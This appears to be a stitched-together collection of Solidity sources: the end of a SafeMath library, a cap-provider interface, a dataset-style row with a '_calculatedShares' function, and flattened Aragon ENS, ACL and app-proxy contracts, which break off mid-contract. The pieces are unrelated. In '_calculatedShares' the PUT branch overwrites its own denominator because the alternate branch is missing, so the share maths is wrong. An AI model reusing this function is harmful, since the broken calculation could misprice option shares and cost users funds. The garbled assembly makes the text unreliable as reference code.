* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface ICapProvider {
function setCap(address target, uint256 value) external;
function getCap(address target) external view returns (uint256);
}
|
Calculate number of reserve shares based on the amount of collateral locked by the minter/
|
function _calculatedShares(uint256 amountOfCollateral) internal view returns (uint256 ownerShares) {
uint256 currentStrikeReserves = strikeReserves();
uint256 currentUnderlyingReserves = underlyingReserves();
uint256 numerator = amountOfCollateral.mul(totalShares);
uint256 denominator;
if (_optionType == OptionType.PUT) {
denominator = currentStrikeReserves.add(
currentUnderlyingReserves.mul(_strikePrice).div(uint256(10)**underlyingAssetDecimals())
);
denominator = currentUnderlyingReserves.add(
currentStrikeReserves.mul(uint256(10)**underlyingAssetDecimals()).div(_strikePrice)
);
}
ownerShares = numerator.div(denominator);
return ownerShares;
}
| 527,999
|
//File: contracts/lib/ens/AbstractENS.sol
pragma solidity ^0.4.15;
interface AbstractENS {
function owner(bytes32 _node) constant returns (address);
function resolver(bytes32 _node) constant returns (address);
function ttl(bytes32 _node) constant returns (uint64);
function setOwner(bytes32 _node, address _owner);
function setSubnodeOwner(bytes32 _node, bytes32 label, address _owner);
function setResolver(bytes32 _node, address _resolver);
function setTTL(bytes32 _node, uint64 _ttl);
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed _node, bytes32 indexed _label, address _owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed _node, address _owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed _node, address _resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed _node, uint64 _ttl);
}
//File: contracts/lib/ens/PublicResolver.sol
pragma solidity ^0.4.0;
/**
* A simple resolver anyone can use; only allows the owner of a node to set its
* address.
*/
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexed indexedKey, string key);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
}
AbstractENS ens;
mapping(bytes32=>Record) records;
modifier only_owner(bytes32 node) {
if (ens.owner(node) != msg.sender) throw;
_;
}
/**
* Constructor.
* @param ensAddr The ENS registrar contract.
*/
function PublicResolver(AbstractENS ensAddr) {
ens = ensAddr;
}
/**
* Returns true if the resolver implements the interface specified by the provided hash.
* @param interfaceID The ID of the interface to check for.
* @return True if the contract implements the requested interface.
*/
function supportsInterface(bytes4 interfaceID) constant returns (bool) {
return interfaceID == ADDR_INTERFACE_ID ||
interfaceID == CONTENT_INTERFACE_ID ||
interfaceID == NAME_INTERFACE_ID ||
interfaceID == ABI_INTERFACE_ID ||
interfaceID == PUBKEY_INTERFACE_ID ||
interfaceID == TEXT_INTERFACE_ID ||
interfaceID == INTERFACE_META_ID;
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) constant returns (address ret) {
ret = records[node].addr;
}
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param addr The address to set.
*/
function setAddr(bytes32 node, address addr) only_owner(node) {
records[node].addr = addr;
AddrChanged(node, addr);
}
/**
* Returns the content hash associated with an ENS node.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The ENS node to query.
* @return The associated content hash.
*/
function content(bytes32 node) constant returns (bytes32 ret) {
ret = records[node].content;
}
/**
* Sets the content hash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The node to update.
* @param hash The content hash to set
*/
function setContent(bytes32 node, bytes32 hash) only_owner(node) {
records[node].content = hash;
ContentChanged(node, hash);
}
/**
* Returns the name associated with an ENS node, for reverse records.
* Defined in EIP181.
* @param node The ENS node to query.
* @return The associated name.
*/
function name(bytes32 node) constant returns (string ret) {
ret = records[node].name;
}
/**
* Sets the name associated with an ENS node, for reverse records.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param name The name to set.
*/
function setName(bytes32 node, string name) only_owner(node) {
records[node].name = name;
NameChanged(node, name);
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) constant returns (uint256 contentType, bytes data) {
var record = records[node];
for(contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) {
data = record.abis[contentType];
return;
}
}
contentType = 0;
}
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes data) only_owner(node) {
// Content types must be powers of 2
if (((contentType - 1) & contentType) != 0) throw;
records[node].abis[contentType] = data;
ABIChanged(node, contentType);
}
/**
* Returns the SECP256k1 public key associated with an ENS node.
* Defined in EIP 619.
* @param node The ENS node to query
* @return x, y the X and Y coordinates of the curve point for the public key.
*/
function pubkey(bytes32 node) constant returns (bytes32 x, bytes32 y) {
return (records[node].pubkey.x, records[node].pubkey.y);
}
/**
* Sets the SECP256k1 public key associated with an ENS node.
* @param node The ENS node to query
* @param x the X coordinate of the curve point for the public key.
* @param y the Y coordinate of the curve point for the public key.
*/
function setPubkey(bytes32 node, bytes32 x, bytes32 y) only_owner(node) {
records[node].pubkey = PublicKey(x, y);
PubkeyChanged(node, x, y);
}
/**
* Returns the text data associated with an ENS node and key.
* @param node The ENS node to query.
* @param key The text data key to query.
* @return The associated text data.
*/
function text(bytes32 node, string key) constant returns (string ret) {
ret = records[node].text[key];
}
/**
* Sets the text data associated with an ENS node and key.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param key The key to set.
* @param value The text data value to set.
*/
function setText(bytes32 node, string key, string value) only_owner(node) {
records[node].text[key] = value;
TextChanged(node, key, key);
}
}
//File: contracts/ens/ENSConstants.sol
pragma solidity ^0.4.18;
contract ENSConstants {
bytes32 constant public ENS_ROOT = bytes32(0);
bytes32 constant public ETH_TLD_LABEL = keccak256("eth");
bytes32 constant public ETH_TLD_NODE = keccak256(ENS_ROOT, ETH_TLD_LABEL);
bytes32 constant public PUBLIC_RESOLVER_LABEL = keccak256("resolver");
bytes32 constant public PUBLIC_RESOLVER_NODE = keccak256(ETH_TLD_NODE, PUBLIC_RESOLVER_LABEL);
}
//File: contracts/acl/IACL.sol
pragma solidity ^0.4.18;
interface IACL {
function initialize(address permissionsCreator) public;
function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool);
}
//File: contracts/kernel/IKernel.sol
pragma solidity ^0.4.18;
interface IKernel {
event SetApp(bytes32 indexed namespace, bytes32 indexed name, bytes32 indexed id, address app);
function acl() public view returns (IACL);
function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool);
function setApp(bytes32 namespace, bytes32 name, address app) public returns (bytes32 id);
function getApp(bytes32 id) public view returns (address);
}
//File: contracts/apps/AppStorage.sol
pragma solidity ^0.4.18;
contract AppStorage {
IKernel public kernel;
bytes32 public appId;
address internal pinnedCode; // used by Proxy Pinned
uint256 internal initializationBlock; // used by Initializable
uint256[95] private storageOffset; // forces App storage to start at after 100 slots
uint256 private offset;
}
//File: contracts/common/Initializable.sol
pragma solidity ^0.4.18;
contract Initializable is AppStorage {
modifier onlyInit {
require(initializationBlock == 0);
_;
}
/**
* @return Block number in which the contract was initialized
*/
function getInitializationBlock() public view returns (uint256) {
return initializationBlock;
}
/**
* @dev Function to be called by top level contract after initialization has finished.
*/
function initialized() internal onlyInit {
initializationBlock = getBlockNumber();
}
/**
* @dev Returns the current block number.
* Using a function rather than `block.number` allows us to easily mock the block number in
* tests.
*/
function getBlockNumber() internal view returns (uint256) {
return block.number;
}
}
//File: contracts/evmscript/IEVMScriptExecutor.sol
pragma solidity ^0.4.18;
interface IEVMScriptExecutor {
function execScript(bytes script, bytes input, address[] blacklist) external returns (bytes);
}
//File: contracts/evmscript/IEVMScriptRegistry.sol
pragma solidity 0.4.18;
contract EVMScriptRegistryConstants {
bytes32 constant public EVMSCRIPT_REGISTRY_APP_ID = keccak256("evmreg.aragonpm.eth");
bytes32 constant public EVMSCRIPT_REGISTRY_APP = keccak256(keccak256("app"), EVMSCRIPT_REGISTRY_APP_ID);
}
interface IEVMScriptRegistry {
function addScriptExecutor(address executor) external returns (uint id);
function disableScriptExecutor(uint256 executorId) external;
function getScriptExecutor(bytes script) public view returns (address);
}
//File: contracts/evmscript/ScriptHelpers.sol
pragma solidity 0.4.18;
library ScriptHelpers {
// To test with JS and compare with actual encoder. Maintaining for reference.
// t = function() { return IEVMScriptExecutor.at('0x4bcdd59d6c77774ee7317fc1095f69ec84421e49').contract.execScript.getData(...[].slice.call(arguments)).slice(10).match(/.{1,64}/g) }
// run = function() { return ScriptHelpers.new().then(sh => { sh.abiEncode.call(...[].slice.call(arguments)).then(a => console.log(a.slice(2).match(/.{1,64}/g)) ) }) }
// This is truly not beautiful but lets no daydream to the day solidity gets reflection features
function abiEncode(bytes _a, bytes _b, address[] _c) public pure returns (bytes d) {
return encode(_a, _b, _c);
}
function encode(bytes memory _a, bytes memory _b, address[] memory _c) internal pure returns (bytes memory d) {
// A is positioned after the 3 position words
uint256 aPosition = 0x60;
uint256 bPosition = aPosition + 32 * abiLength(_a);
uint256 cPosition = bPosition + 32 * abiLength(_b);
uint256 length = cPosition + 32 * abiLength(_c);
d = new bytes(length);
assembly {
// Store positions
mstore(add(d, 0x20), aPosition)
mstore(add(d, 0x40), bPosition)
mstore(add(d, 0x60), cPosition)
}
// Copy memory to correct position
copy(d, getPtr(_a), aPosition, _a.length);
copy(d, getPtr(_b), bPosition, _b.length);
copy(d, getPtr(_c), cPosition, _c.length * 32); // 1 word per address
}
function abiLength(bytes memory _a) internal pure returns (uint256) {
// 1 for length +
// memory words + 1 if not divisible for 32 to offset word
return 1 + (_a.length / 32) + (_a.length % 32 > 0 ? 1 : 0);
}
function abiLength(address[] _a) internal pure returns (uint256) {
// 1 for length + 1 per item
return 1 + _a.length;
}
function copy(bytes _d, uint256 _src, uint256 _pos, uint256 _length) internal pure {
uint dest;
assembly {
dest := add(add(_d, 0x20), _pos)
}
memcpy(dest, _src, _length + 32);
}
function getPtr(bytes memory _x) internal pure returns (uint256 ptr) {
assembly {
ptr := _x
}
}
function getPtr(address[] memory _x) internal pure returns (uint256 ptr) {
assembly {
ptr := _x
}
}
function getSpecId(bytes _script) internal pure returns (uint32) {
return uint32At(_script, 0);
}
function uint256At(bytes _data, uint256 _location) internal pure returns (uint256 result) {
assembly {
result := mload(add(_data, add(0x20, _location)))
}
}
function addressAt(bytes _data, uint256 _location) internal pure returns (address result) {
uint256 word = uint256At(_data, _location);
assembly {
result := div(and(word, 0xffffffffffffffffffffffffffffffffffffffff000000000000000000000000),
0x1000000000000000000000000)
}
}
function uint32At(bytes _data, uint256 _location) internal pure returns (uint32 result) {
uint256 word = uint256At(_data, _location);
assembly {
result := div(and(word, 0xffffffff00000000000000000000000000000000000000000000000000000000),
0x100000000000000000000000000000000000000000000000000000000)
}
}
function locationOf(bytes _data, uint256 _location) internal pure returns (uint256 result) {
assembly {
result := add(_data, add(0x20, _location))
}
}
function toBytes(bytes4 _sig) internal pure returns (bytes) {
bytes memory payload = new bytes(4);
payload[0] = bytes1(_sig);
payload[1] = bytes1(_sig << 8);
payload[2] = bytes1(_sig << 16);
payload[3] = bytes1(_sig << 24);
return payload;
}
function memcpy(uint _dest, uint _src, uint _len) public pure {
uint256 src = _src;
uint256 dest = _dest;
uint256 len = _len;
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
}
//File: contracts/evmscript/EVMScriptRunner.sol
pragma solidity ^0.4.18;
contract EVMScriptRunner is AppStorage, EVMScriptRegistryConstants {
using ScriptHelpers for bytes;
function runScript(bytes _script, bytes _input, address[] _blacklist) protectState internal returns (bytes output) {
// TODO: Too much data flying around, maybe extracting spec id here is cheaper
address executorAddr = getExecutor(_script);
require(executorAddr != address(0));
bytes memory calldataArgs = _script.encode(_input, _blacklist);
bytes4 sig = IEVMScriptExecutor(0).execScript.selector;
require(executorAddr.delegatecall(sig, calldataArgs));
return returnedDataDecoded();
}
function getExecutor(bytes _script) public view returns (IEVMScriptExecutor) {
return IEVMScriptExecutor(getExecutorRegistry().getScriptExecutor(_script));
}
// TODO: Internal
function getExecutorRegistry() internal view returns (IEVMScriptRegistry) {
address registryAddr = kernel.getApp(EVMSCRIPT_REGISTRY_APP);
return IEVMScriptRegistry(registryAddr);
}
/**
* @dev copies and returns last's call data. Needs to ABI decode first
*/
function returnedDataDecoded() internal view returns (bytes ret) {
assembly {
let size := returndatasize
switch size
case 0 {}
default {
ret := mload(0x40) // free mem ptr get
mstore(0x40, add(ret, add(size, 0x20))) // free mem ptr set
returndatacopy(ret, 0x20, sub(size, 0x20)) // copy return data
}
}
return ret;
}
modifier protectState {
address preKernel = kernel;
bytes32 preAppId = appId;
_; // exec
require(kernel == preKernel);
require(appId == preAppId);
}
}
//File: contracts/acl/ACLSyntaxSugar.sol
pragma solidity 0.4.18;
contract ACLSyntaxSugar {
function arr() internal pure returns (uint256[] r) {}
function arr(bytes32 _a) internal pure returns (uint256[] r) {
return arr(uint256(_a));
}
function arr(bytes32 _a, bytes32 _b) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b));
}
function arr(address _a) internal pure returns (uint256[] r) {
return arr(uint256(_a));
}
function arr(address _a, address _b) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b));
}
function arr(address _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) {
return arr(uint256(_a), _b, _c);
}
function arr(address _a, uint256 _b) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b));
}
function arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b), _c, _d, _e);
}
function arr(address _a, address _b, address _c) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b), uint256(_c));
}
function arr(address _a, address _b, uint256 _c) internal pure returns (uint256[] r) {
return arr(uint256(_a), uint256(_b), uint256(_c));
}
function arr(uint256 _a) internal pure returns (uint256[] r) {
r = new uint256[](1);
r[0] = _a;
}
function arr(uint256 _a, uint256 _b) internal pure returns (uint256[] r) {
r = new uint256[](2);
r[0] = _a;
r[1] = _b;
}
function arr(uint256 _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) {
r = new uint256[](3);
r[0] = _a;
r[1] = _b;
r[2] = _c;
}
function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) {
r = new uint256[](4);
r[0] = _a;
r[1] = _b;
r[2] = _c;
r[3] = _d;
}
function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) {
r = new uint256[](5);
r[0] = _a;
r[1] = _b;
r[2] = _c;
r[3] = _d;
r[4] = _e;
}
}
contract ACLHelpers {
function decodeParamOp(uint256 _x) internal pure returns (uint8 b) {
return uint8(_x >> (8 * 30));
}
function decodeParamId(uint256 _x) internal pure returns (uint8 b) {
return uint8(_x >> (8 * 31));
}
function decodeParamsList(uint256 _x) internal pure returns (uint32 a, uint32 b, uint32 c) {
a = uint32(_x);
b = uint32(_x >> (8 * 4));
c = uint32(_x >> (8 * 8));
}
}
//File: contracts/apps/AragonApp.sol
pragma solidity ^0.4.18;
contract AragonApp is AppStorage, Initializable, ACLSyntaxSugar, EVMScriptRunner {
modifier auth(bytes32 _role) {
require(canPerform(msg.sender, _role, new uint256[](0)));
_;
}
modifier authP(bytes32 _role, uint256[] params) {
require(canPerform(msg.sender, _role, params));
_;
}
function canPerform(address _sender, bytes32 _role, uint256[] params) public view returns (bool) {
bytes memory how; // no need to init memory as it is never used
if (params.length > 0) {
uint256 byteLength = params.length * 32;
assembly {
how := params // forced casting
mstore(how, byteLength)
}
}
return address(kernel) == 0 || kernel.hasPermission(_sender, address(this), _role, how);
}
}
//File: contracts/ens/ENSSubdomainRegistrar.sol
pragma solidity 0.4.18;
contract ENSSubdomainRegistrar is AragonApp, ENSConstants {
bytes32 constant public CREATE_NAME_ROLE = bytes32(1);
bytes32 constant public DELETE_NAME_ROLE = bytes32(2);
bytes32 constant public POINT_ROOTNODE_ROLE = bytes32(3);
AbstractENS public ens;
bytes32 public rootNode;
event NewName(bytes32 indexed node, bytes32 indexed label);
event DeleteName(bytes32 indexed node, bytes32 indexed label);
function initialize(AbstractENS _ens, bytes32 _rootNode) onlyInit public {
initialized();
// We need ownership to create subnodes
require(_ens.owner(_rootNode) == address(this));
ens = _ens;
rootNode = _rootNode;
}
function createName(bytes32 _label, address _owner) auth(CREATE_NAME_ROLE) external returns (bytes32 node) {
return _createName(_label, _owner);
}
function createNameAndPoint(bytes32 _label, address _target) auth(CREATE_NAME_ROLE) external returns (bytes32 node) {
node = _createName(_label, this);
_pointToResolverAndResolve(node, _target);
}
function deleteName(bytes32 _label) auth(DELETE_NAME_ROLE) external {
bytes32 node = keccak256(rootNode, _label);
address currentOwner = ens.owner(node);
require(currentOwner != address(0)); // fail if deleting unset name
if (currentOwner != address(this)) { // needs to reclaim ownership so it can set resolver
ens.setSubnodeOwner(rootNode, _label, this);
}
ens.setResolver(node, address(0)); // remove resolver so it ends resolving
ens.setOwner(node, address(0));
DeleteName(node, _label);
}
function pointRootNode(address _target) auth(POINT_ROOTNODE_ROLE) external {
_pointToResolverAndResolve(rootNode, _target);
}
function _createName(bytes32 _label, address _owner) internal returns (bytes32 node) {
node = keccak256(rootNode, _label);
require(ens.owner(node) == address(0)); // avoid name reset
ens.setSubnodeOwner(rootNode, _label, _owner);
NewName(node, _label);
}
function _pointToResolverAndResolve(bytes32 _node, address _target) internal {
address publicResolver = getAddr(PUBLIC_RESOLVER_NODE);
ens.setResolver(_node, publicResolver);
PublicResolver(publicResolver).setAddr(_node, _target);
}
function getAddr(bytes32 node) internal view returns (address) {
address resolver = ens.resolver(node);
return PublicResolver(resolver).addr(node);
}
}
//File: contracts/apps/IAppProxy.sol
pragma solidity 0.4.18;
interface IAppProxy {
function isUpgradeable() public pure returns (bool);
function getCode() public view returns (address);
}
//File: contracts/common/DelegateProxy.sol
pragma solidity 0.4.18;
contract DelegateProxy {
/**
* @dev Performs a delegatecall and returns whatever the delegatecall returned (entire context execution will return!)
* @param _dst Destination address to perform the delegatecall
* @param _calldata Calldata for the delegatecall
*/
function delegatedFwd(address _dst, bytes _calldata) internal {
require(isContract(_dst));
assembly {
let result := delegatecall(sub(gas, 10000), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
function isContract(address _target) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_target) }
return size > 0;
}
}
//File: contracts/kernel/KernelStorage.sol
pragma solidity 0.4.18;
contract KernelConstants {
bytes32 constant public CORE_NAMESPACE = keccak256("core");
bytes32 constant public APP_BASES_NAMESPACE = keccak256("base");
bytes32 constant public APP_ADDR_NAMESPACE = keccak256("app");
bytes32 constant public KERNEL_APP_ID = keccak256("kernel.aragonpm.eth");
bytes32 constant public KERNEL_APP = keccak256(CORE_NAMESPACE, KERNEL_APP_ID);
bytes32 constant public ACL_APP_ID = keccak256("acl.aragonpm.eth");
bytes32 constant public ACL_APP = keccak256(APP_ADDR_NAMESPACE, ACL_APP_ID);
}
contract KernelStorage is KernelConstants {
mapping (bytes32 => address) public apps;
}
//File: contracts/apps/AppProxyBase.sol
pragma solidity 0.4.18;
contract AppProxyBase is IAppProxy, AppStorage, DelegateProxy, KernelConstants {
/**
* @dev Initialize AppProxy
* @param _kernel Reference to organization kernel for the app
* @param _appId Identifier for app
* @param _initializePayload Payload for call to be made after setup to initialize
*/
function AppProxyBase(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public {
kernel = _kernel;
appId = _appId;
// Implicit check that kernel is actually a Kernel
// The EVM doesn't actually provide a way for us to make sure, but we can force a revert to
// occur if the kernel is set to 0x0 or a non-code address when we try to call a method on
// it.
address appCode = getAppBase(appId);
// If initialize payload is provided, it will be executed
if (_initializePayload.length > 0) {
require(isContract(appCode));
// Cannot make delegatecall as a delegateproxy.delegatedFwd as it
// returns ending execution context and halts contract deployment
require(appCode.delegatecall(_initializePayload));
}
}
function getAppBase(bytes32 _appId) internal view returns (address) {
return kernel.getApp(keccak256(APP_BASES_NAMESPACE, _appId));
}
function () payable public {
address target = getCode();
require(target != 0); // if app code hasn't been set yet, don't call
delegatedFwd(target, msg.data);
}
}
//File: contracts/apps/AppProxyUpgradeable.sol
pragma solidity 0.4.18;
contract AppProxyUpgradeable is AppProxyBase {
address public pinnedCode;
/**
* @dev Initialize AppProxyUpgradeable (makes it an upgradeable Aragon app)
* @param _kernel Reference to organization kernel for the app
* @param _appId Identifier for app
* @param _initializePayload Payload for call to be made after setup to initialize
*/
function AppProxyUpgradeable(IKernel _kernel, bytes32 _appId, bytes _initializePayload)
AppProxyBase(_kernel, _appId, _initializePayload) public
{
}
function getCode() public view returns (address) {
return getAppBase(appId);
}
function isUpgradeable() public pure returns (bool) {
return true;
}
}
//File: contracts/apps/AppProxyPinned.sol
pragma solidity 0.4.18;
contract AppProxyPinned is AppProxyBase {
/**
* @dev Initialize AppProxyPinned (makes it an un-upgradeable Aragon app)
* @param _kernel Reference to organization kernel for the app
* @param _appId Identifier for app
* @param _initializePayload Payload for call to be made after setup to initialize
*/
function AppProxyPinned(IKernel _kernel, bytes32 _appId, bytes _initializePayload)
AppProxyBase(_kernel, _appId, _initializePayload) public
{
pinnedCode = getAppBase(appId);
require(pinnedCode != address(0));
}
function getCode() public view returns (address) {
return pinnedCode;
}
function isUpgradeable() public pure returns (bool) {
return false;
}
function () payable public {
delegatedFwd(getCode(), msg.data);
}
}
//File: contracts/factory/AppProxyFactory.sol
pragma solidity 0.4.18;
contract AppProxyFactory {
event NewAppProxy(address proxy);
function newAppProxy(IKernel _kernel, bytes32 _appId) public returns (AppProxyUpgradeable) {
return newAppProxy(_kernel, _appId, new bytes(0));
}
function newAppProxy(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public returns (AppProxyUpgradeable) {
AppProxyUpgradeable proxy = new AppProxyUpgradeable(_kernel, _appId, _initializePayload);
NewAppProxy(address(proxy));
return proxy;
}
function newAppProxyPinned(IKernel _kernel, bytes32 _appId) public returns (AppProxyPinned) {
return newAppProxyPinned(_kernel, _appId, new bytes(0));
}
function newAppProxyPinned(IKernel _kernel, bytes32 _appId, bytes _initializePayload) public returns (AppProxyPinned) {
AppProxyPinned proxy = new AppProxyPinned(_kernel, _appId, _initializePayload);
NewAppProxy(address(proxy));
return proxy;
}
}
//File: contracts/acl/ACL.sol
pragma solidity 0.4.18;
interface ACLOracle {
function canPerform(address who, address where, bytes32 what) public view returns (bool);
}
contract ACL is IACL, AragonApp, ACLHelpers {
bytes32 constant public CREATE_PERMISSIONS_ROLE = keccak256("CREATE_PERMISSIONS_ROLE");
// whether a certain entity has a permission
mapping (bytes32 => bytes32) permissions; // 0 for no permission, or parameters id
mapping (bytes32 => Param[]) public permissionParams;
// who is the manager of a permission
mapping (bytes32 => address) permissionManager;
enum Op { NONE, EQ, NEQ, GT, LT, GTE, LTE, NOT, AND, OR, XOR, IF_ELSE, RET } // op types
struct Param {
uint8 id;
uint8 op;
uint240 value; // even though value is an uint240 it can store addresses
// in the case of 32 byte hashes losing 2 bytes precision isn't a huge deal
// op and id take less than 1 byte each so it can be kept in 1 sstore
}
uint8 constant BLOCK_NUMBER_PARAM_ID = 200;
uint8 constant TIMESTAMP_PARAM_ID = 201;
uint8 constant SENDER_PARAM_ID = 202;
uint8 constant ORACLE_PARAM_ID = 203;
uint8 constant LOGIC_OP_PARAM_ID = 204;
uint8 constant PARAM_VALUE_PARAM_ID = 205;
// TODO: Add execution times param type?
bytes32 constant public EMPTY_PARAM_HASH = keccak256(uint256(0));
address constant ANY_ENTITY = address(-1);
modifier onlyPermissionManager(address _app, bytes32 _role) {
